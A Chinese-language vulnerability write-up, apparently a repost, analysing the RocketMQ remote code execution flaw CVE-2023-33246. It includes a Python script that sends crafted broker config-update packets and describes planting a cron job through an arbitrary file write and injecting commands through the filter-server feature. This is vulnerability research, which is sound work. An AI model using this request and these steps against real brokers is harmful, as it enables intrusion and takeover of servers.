前言
RocketMQ RCE(CVE-2023-33246)已經爆出挺久了,送出的時候覺得危害挺大,不過官方的描述比較迷惑導緻剛開始關注度比較小,不過也能了解官方的通告,下面來分析一下這個漏洞,作個記錄~
漏洞分析
協定分析
随便打入一段請求
經過部分調試,發現協定主要包含四部分
協定總長度+json長度+json+body
構造的python腳本如下
import socket
import binascii
client = socket.socket()
# you ip
client.connect(('192.168.111.129',10911))
# data
json = '{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nnamesrvAddr=127.0.0.1:9876\nrocketmqHome=1'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
其中code代表調用的不同功能
之後就可以愉快的調用各種功能了。
漏洞分析——任意檔案寫入
這個功能是出現在UPDATE_NAMESRV_CONFIG
解析傳入的body并且寫入配置
首先是配置更新,這一步不用管,隻要是org.apache.rocketmq.common.namesrv.NamesrvConfig 中的字段,都能更新,重點是persist功能,我們看到有一個檔案寫入的調用
會寫入fileName、fileName.bak兩個檔案,這裡的fileName為configStorePath,也就是後來黑名單中的字段
既然可以任意檔案寫入,所有就可以是正常的一些RCE思路,比如寫入計劃任務。
1、修改存儲路徑為計劃任務路徑,并且打入定時任務腳本,注意可以使用\\n 來進行換行操作。
2、成功寫入
3、指令執行成功
這裡就需要條件了,比如root權限,但是我們可以通過 GET_NAMESRV_CONFIG 功能來擷取目前使用者權限。
初始化的kvConfigPath、configStorePath帶有目前使用者
這裡就是漏洞通告中的在一定條件下,還是挺具有迷惑性的,這個功能影響三個子產品,NameServer, Broker, Controller,通過加入黑名單修複
漏洞分析——指令執行
這個漏洞還是挺不好發現的,也就是漏洞的sink不好發現,在沒有了解RocketMQ下,還挺不好找。
在broker 一堆的功能中,有個REGISTER_FILTER_SERVER 引起我的注意,
當然這裡跟進一圈也就是注冊功能,沒有什麼危害,但是我比較好奇這部分如何實作,憑感覺這裡可能會出現漏洞,哈哈
随便翻翻,發現各種名詞,過濾器類、注冊呀什麼的,感覺妥妥的危險操作,直接進入 org.apache.rocketmq.broker.filtersrv.FilterServerManager 檢視下這個子產品把
很容易就看到了有個指令拼接的地方
仔細一看,這裡拼入的參數來自brokerConfig,而通過之前的分析,我已經知道brokerConfig可以被控制了,現在就要看這個功能怎麼觸發,
跟進發現,這裡是建立了一個線程,每隔一段時間就觸發
在啟動Broker的時候,調用startBasicService
進行了調用。
一個RCE漏洞便出現了,其實這裡沒有調試,在熟悉流程後,點幾下就可以發現這個漏洞。
是以我們打入我們的指令執行POC
這裡剛開始還測了一段時間,怎麼也觸發不了(Windows 下壓根不行)後來改用
sh -c touch 指令
要執行的指令間隔用\t 這樣就不會被拆分了。
檢視日志,可以看到指令執行記錄
修複方案十分粗暴,直接把功能删了,本來還想再研究下的。
後言
這個漏洞的發現還是有一定巧合的,這類中間件大多以非阻塞方式開發,涉及到很多線程,也就導緻漏洞并不好追蹤,功能也不好閱讀,最好的方式還是查閱文檔,并且閱讀前人的源碼分析、架構分析,這樣可以節約大量時間。至于官方的在一定條件下,可能就是在說第一個漏洞了,最後兩個漏洞給了一個編号,這也就導緻漏洞的描述比較迷惑。
from http://www.lvyyevd.cn/archives/rocketmqrcecve-2023-33246-fen-xi